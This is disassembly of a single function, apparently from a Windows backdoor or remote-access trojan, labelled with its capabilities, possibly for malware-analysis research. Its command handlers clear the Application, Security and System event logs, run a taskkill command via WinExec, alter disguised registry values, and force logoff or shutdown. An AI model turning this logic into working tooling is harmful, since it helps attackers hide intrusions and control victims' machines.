Function at 0x413d12
Capabilities:
Create process on windows
Delete registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb04
mov eax, dword [0x445824]
xor eax, esp
mov dword [esp + 0xb00], eax
push ebx
mov ebx, dword [ebp + 8]
movzx eax, byte [ebx]
push esi
mov esi, ecx
push edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x18], ebx
cmp eax, 0xca
ja case.0x41362f.20
movzx ecx, byte [eax + 0x414520]
jmp dword [ecx*4 + 0x41448c]
cmp dword [esi + 0x430], 0
lea eax, [esi + 0x430]
jne case.default.0x413ac3
push 1
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [esi + 8], 0
mov byte [esp + 0x17], 0xcb
jne case.default.0x413ac3
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
push 1
lea eax, [esp + 0x1b]
push eax
call edx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
cmp dword [ebp + 0xc], 0xa45
jne case.default.0x413ac3
push 0xa44
call fcn.00420192
add esp, 4
push 0xa44
mov edi, eax
push 0
push edi
mov dword [esp + 0x1c], edi
call fcn.00422ed0
mov eax, dword [esp + 0x2c]
lea esi, [ebx + 2]
mov ecx, 0x291
add esp, 0xc
rep movsd dword es:[edi], dword [esi]
cmp dword [eax + 0x434], 1
jne 0x4136e7
mov eax, dword [esp + 0x10]
add eax, 4
push eax
push 0x4404e0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov esi, dword [0x453c50]
cmp esi, dword [0x453c54]
je 0x41374a
mov edi, dword [esp + 0x10]
lea esp, [esp]
mov edx, dword [esi]
mov eax, dword [edx + 0x10]
lea ecx, [edi + 4]
add eax, 4
jmp 0x413710
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x413736
test dx, dx
je 0x413732
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x413736
add eax, 4
add ecx, 4
test dx, dx
jne 0x413710
xor eax, eax
jmp 0x41373b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41379f
add esi, 4
cmp esi, dword [0x453c54]
jne 0x413700
push 0xa45
call fcn.0041de98
mov edi, dword [esp + 0x14]
add esp, 4
mov esi, eax
push 0xa44
lea eax, [esi + 1]
push edi
mov byte [esi], 5
push eax
mov dword [edi + 0x204], 0
call fcn.00423490
mov ecx, dword [esp + 0x2c]
add esp, 0xc
push esi
mov edx, 0xa45
call fcn.00402c40
push edi
call fcn.0041fa53
add esp, 4
push esi
call fcn.0041fa53
jmp 0x414471
mov eax, dword [esi]
mov edi, dword [eax + 0x10]
mov ecx, dword [esp + 0x10]
add ecx, 0x20c
lea eax, [edi + 0x20c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4137da
test dx, dx
je 0x4137d6
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4137da
add eax, 4
add ecx, 4
test dx, dx
jne 0x4137b4
xor eax, eax
jmp 0x4137df
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x413852
test edi, edi
je 0x4137f9
push edi
call fcn.0041fa53
mov eax, dword [esi]
add esp, 4
mov dword [eax + 0x10], 0
mov ecx, dword [esi]
mov eax, dword [ecx + 0x14]
test eax, eax
je 0x413814
push eax
call fcn.0042066e
mov edx, dword [esi]
add esp, 4
mov dword [edx + 0x14], 0
mov eax, dword [esi]
test eax, eax
je 0x413829
push eax
call fcn.0041fa53
add esp, 4
mov dword [esi], 0
mov ecx, dword [0x453c54]
lea eax, [esi + 4]
sub ecx, eax
sar ecx, 2
add ecx, ecx
add ecx, ecx
push ecx
push eax
push esi
call fcn.0041fa70
add esp, 0xc
sub dword [0x453c54], 4
jmp 0x41374a
movzx eax, byte [ebx + 1]
sub eax, 0
je 0x413876
dec eax
jne 0x413890
push eax
push eax
mov eax, dword [esi]
push eax
push 0x410eb0
push 0
push 0
call fcn.004205ce
add esp, 0x18
jmp 0x413894
mov ecx, dword [esi]
push 0
push 0
push ecx
push 0x410ff0
push 0
push 0
call fcn.004205ce
add esp, 0x18
jmp 0x413894
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x10]
push edx
call fcn.0041fa53
jmp 0x414471
push 0xa44
call fcn.00420192
add esp, 4
push 0xa44
mov ebx, eax
push 0
push ebx
call fcn.00422ed0
mov esi, dword [esp + 0x24]
add esi, 2
mov ecx, 0x291
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx + 0x208]
add esp, 0xc
push ecx
call fcn.0041de98
mov edx, dword [ebx + 0x208]
mov edi, dword [esp + 0x1c]
add esp, 4
mov esi, eax
push edx
lea eax, [edi + 0xa46]
push eax
push esi
call fcn.00423490
add esp, 0xc
push 0x1c
call fcn.00420192
mov ecx, dword [esp + 0x24]
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], esi
lea edx, [ecx + 0x14]
mov dword [eax + 4], edx
mov edx, dword [ecx + 0x424]
mov dword [eax + 8], edx
mov edx, dword [ecx + 0x42c]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 0x434]
mov dword [eax + 0x18], edx
mov dword [esp + 0x14], eax
mov dword [eax], ecx
add esp, 4
lea eax, [esp + 0x10]
call fcn.00415980
movzx eax, byte [edi + 1]
sub eax, 0
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x413992
dec eax
jne 0x4139a2
push eax
push eax
mov eax, dword [esp + 0x18]
push eax
push 0x410eb0
push 0
push 0
call fcn.004205ce
add esp, 0x18
mov esi, eax
push esi
call edi
push esi
call edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esp + 0x10]
push 0
push 0
push ecx
push 0x410ff0
jmp 0x413967
mov esi, dword [esp + 0x1c]
push esi
call edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
push esi
call fcn.00414720
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
xor esi, esi
push esi
push esi
push esi
lea edx, [esp + 0x1c]
push edx
lea edx, [esp + 0x28]
lea ecx, [esp + 0x2c]
mov dword [esp + 0x20], esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x28], esi
call fcn.004148b0
mov ebx, eax
cmp dword [esp + 0x10], esi
je case.default.0x413ac3
mov edi, dword [esp + 0x10]
inc edi
push edi
call fcn.0041de98
mov esi, eax
mov eax, dword [esp + 0x14]
add esp, 4
push eax
lea ecx, [esi + 1]
push ebx
push ecx
mov byte [esi], 3
call fcn.00423490
mov ecx, dword [esp + 0x2c]
add esp, 0xc
push esi
mov edx, edi
call fcn.00402c40
test ebx, ebx
je 0x413a4a
push ebx
call fcn.0042066e
add esp, 4
push esi
call fcn.0042066e
jmp 0x414471
mov edx, dword [ebp + 0xc]
push edx
push ebx
call fcn.00414e60
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
lea eax, [esp + 0x1c]
push eax
push 0
inc ebx
push ebx
mov dword [esp + 0x28], 0
push 0x415640
push 0
push 0
call fcn.004205ce
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
movzx eax, byte [ebx + 1]
cmp eax, 3
ja case.default.0x413ac3
jmp dword [eax*4 + 0x4145ec]
lea ecx, [ebx + 2]
push str.GOZHUO
call fcn.00415450
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
lea ecx, [ebx + 2]
push str.RANK
call fcn.00415450
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
push 0x43f1f4
push 0x44b370
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne case.default.0x413ac3
lea ecx, [ebx + 2]
push str.FroxMXOifjScall
call fcn.00415450
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
push 0x43f1f4
push 0x44b370
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne case.default.0x413ac3
lea ecx, [ebx + 2]
push str.KscBuffeCCR
call fcn.00415450
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
push 0x43f1f4
push 0x44b370
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne case.default.0x413ac3
push str.SlDeep
mov esi, str.99999
call fcn.00410e50
jmp 0x414471
push 0x43f1f4
push 0x44b370
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne case.default.0x413ac3
push str.SlDeep
mov esi, 0x4404fc
call fcn.00410e50
jmp 0x414471
inc ebx
push ebx
push esi
call fcn.00414600
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
lea esi, [ebx + 1]
call fcn.00412f80
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
lea esi, [ebx + 1]
call fcn.00412f20
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
lea ecx, [ebx + 1]
call fcn.00412fe0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
push ecx
push ebx
call fcn.00413490
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
mov ecx, 0x43f1f4
call fcn.00413170
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
mov ecx, 0x440504
call fcn.00413170
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
mov ecx, 0x43f1f4
call fcn.00413300
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
mov ecx, 0x440504
call fcn.00413300
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
inc ebx
push ebx
call fcn.00411790
jmp 0x414471
lea edx, [esp + 0x10]
push edx
push 2
push 0
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push str.PLS_lolocckA
push eax
call esi
test eax, eax
jne 0x413d65
mov ecx, dword [esp + 0x10]
push str.PLS_lolocckB
push ecx
call esi
test eax, eax
jne 0x413d65
push eax
push str.taskkill__f__im_MicrosoftFolderRedirectionWMIProvider.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x37
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
cmp dword [esi + 8], 0
mov byte [esp + 0x17], 0x14
jne case.default.0x413ac3
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
mov eax, dword [eax + 8]
push 1
lea edx, [esp + 0x1b]
push edx
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebx + 5]
mov eax, dword [ebx + 1]
push ecx
xor edx, edx
push eax
push 1
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], edx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x28], edx
push ecx
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x20]
call fcn.004148b0
mov ebx, dword [esp + 0x18]
mov edi, eax
lea eax, [ebx + 5]
push eax
mov dword [esp + 0x20], eax
call fcn.0041de98
add esp, 4
mov esi, eax
push ebx
lea edx, [esi + 5]
push edi
push edx
mov byte [esi], 0x14
mov dword [esi + 1], ebx
call fcn.00423490
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
add esp, 0xc
push esi
call fcn.00402c40
test edi, edi
je 0x413e2f
push edi
call fcn.0042066e
add esp, 4
push esi
call fcn.0042066e
jmp 0x414471
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogW]
mov dword [esp + 0x24], str.Application
mov dword [esp + 0x28], str.Security
mov dword [esp + 0x2c], str.System
xor edi, edi
lea ebx, [ebx]
mov eax, dword [esp + edi*4 + 0x24]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x413e7f
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc edi
cmp edi, 3
jl 0x413e60
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
call fcn.004155d0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call fcn.0040dc00
push 0
push 4
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.0040dc00
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.0040dc00
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.0040dc00
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.0040dc00
push 0
push 5
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.0040dc00
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov eax, dword [edx]
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
push 0x11
call fcn.00402cb0
mov eax, dword [esi + 0x434]
add esp, 4
sub eax, 0
je 0x413f98
dec eax
jne case.default.0x413ac3
mov dword [esi + 0x434], eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0x434], 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
push 0x7d2
call fcn.00420192
mov ecx, dword [ebp + 0xc]
add esp, 4
push ecx
mov edi, eax
push ebx
push edi
call fcn.00423490
add esp, 0xc
push 0x64
lea edx, [esp + 0x9c]
push 0
push edx
call fcn.00422ed0
add esp, 0xc
push 0x64
lea eax, [esp + 0x34]
push 0
push eax
call fcn.00422ed0
add esp, 0xc
push 0x64
lea ecx, [esp + 0x104]
push 0
push ecx
call fcn.00422ed0
add esp, 0xc
push 0x64
lea edx, [esp + 0x16c]
push 0
push edx
call fcn.00422ed0
add esp, 0xc
push 0x64
lea eax, [esp + 0x1d4]
push 0
push eax
call fcn.00422ed0
add esp, 0xc
push 0x64
lea ecx, [esp + 0x23c]
push 0
push ecx
call fcn.00422ed0
add esp, 0xc
push 0x64
lea edx, [esp + 0x2a4]
push 0
push edx
call fcn.00422ed0
add esp, 0xc
push 0
lea eax, [esp + 0x9c]
push eax
add edi, 2
push 0x43f978
push edi
call fcn.0040e0b0
push 0
lea ecx, [esp + 0x44]
push ecx
push 0x43f980
push edi
call fcn.0040e0b0
push 0
lea edx, [esp + 0x124]
push edx
push 0x43f988
push edi
call fcn.0040e0b0
push 0
lea eax, [esp + 0x19c]
push eax
push 0x440570
push edi
call fcn.0040e0b0
add esp, 0x40
push 0
lea ecx, [esp + 0x1d4]
push ecx
push 0x440578
push edi
call fcn.0040e0b0
push 0x3ff
lea edx, [esp + 0x31d]
push 0
push edx
mov byte [esp + 0x324], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x1c
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [esp + 0xac]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [esp + 0x314]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0xac]
push edx
push 0
push 0
call esi
lea eax, [esp + 0x308]
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x414130
sub eax, ecx
lea ecx, [esp + 0x308]
push ecx
mov edx, eax
call fcn.00406990
lea eax, [esp + 0x30c]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414155
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [esp + 0x314]
push edx
push 0
push 0
call ebx
lea ecx, [esp + 0x308]
lea edx, [ecx + 1]
mov dword [esp + 0x1c], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x414186
sub ecx, dword [esp + 0x1c]
push eax
lea eax, [esp + 0x23c]
push eax
inc ecx
push ecx
lea ecx, [esp + 0x314]
push ecx
push 0
push 0
call ebx
push 0x3ff
lea edx, [esp + 0x70d]
push 0
push edx
mov byte [esp + 0x714], 0
call fcn.00422ed0
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [esp + 0x44]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [esp + 0x714]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x44]
push edx
push 0
push 0
call esi
lea eax, [esp + 0x708]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414202
sub eax, esi
lea ecx, [esp + 0x708]
push ecx
mov edx, eax
call fcn.00406990
lea eax, [esp + 0x70c]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414227
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [esp + 0x714]
push edx
push 0
push 0
call ebx
lea ecx, [esp + 0x708]
mov esi, eax
lea eax, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x414250
push esi
sub ecx, eax
lea eax, [esp + 0x2a4]
push eax
inc ecx
push ecx
lea ecx, [esp + 0x714]
push ecx
push 0
push 0
call ebx
push str.lagsname
lea esi, [esp + 0x23c]
mov ecx, str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
call fcn.00410df0
add esp, 4
push str.lagsnameTow
lea esi, [esp + 0x2a4]
mov ecx, str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
call fcn.00410df0
add esp, 4
push 0x43da8c
lea esi, [esp + 0x104]
mov ecx, str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
call fcn.00410df0
add esp, 4
push 0x43da94
lea esi, [esp + 0x16c]
mov ecx, str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
call fcn.00410df0
add esp, 4
push 0x43da9c
lea esi, [esp + 0x1d4]
mov ecx, str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
call fcn.00410df0
add esp, 4
push 0
push 0x44aae6
push 0x43f978
push edi
call fcn.0040e0b0
push 0
push 0x44ace4
push 0x43f980
push edi
call fcn.0040e0b0
add esp, 0x20
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x20]
mov ecx, dword [edx + 4]
mov eax, dword [ecx]
mov edx, dword [eax]
call edx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
push 0x7d2
call fcn.00420192
add esp, 4
cmp dword [ebp + 0xc], 0x7d2
mov esi, eax
jne case.default.0x413ac3
push 0x7d2
push ebx
push esi
call fcn.00423490
add esp, 0xc
push 0
push 0
push esi
push 0x411130
jmp 0x413a8c
add esi, 0x428
cmp dword [esi], 0
je case.default.0x413ac3
lea eax, [esp + 0x10]
push eax
push 2
push 0
push str.Console
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [esp + 0x10]
push str.IpDatespecial
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp + 0x10]
push 4
push esi
push 3
push 0
push str.IpDatespecial
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
cmp dword [esi + 0x428], 0
je case.default.0x413ac3
lea ecx, [esp + 0x18]
push ecx
push 2
push 0
push str.Console
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [esp + 0x18]
push str.IpDatespecial
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
cmp byte [ebx + 1], 0
push esi
jne 0x4139c1
call fcn.00414720
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
push eax
call fcn.00402cb0
add esp, 4
mov ecx, dword [esp + 0xb0c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8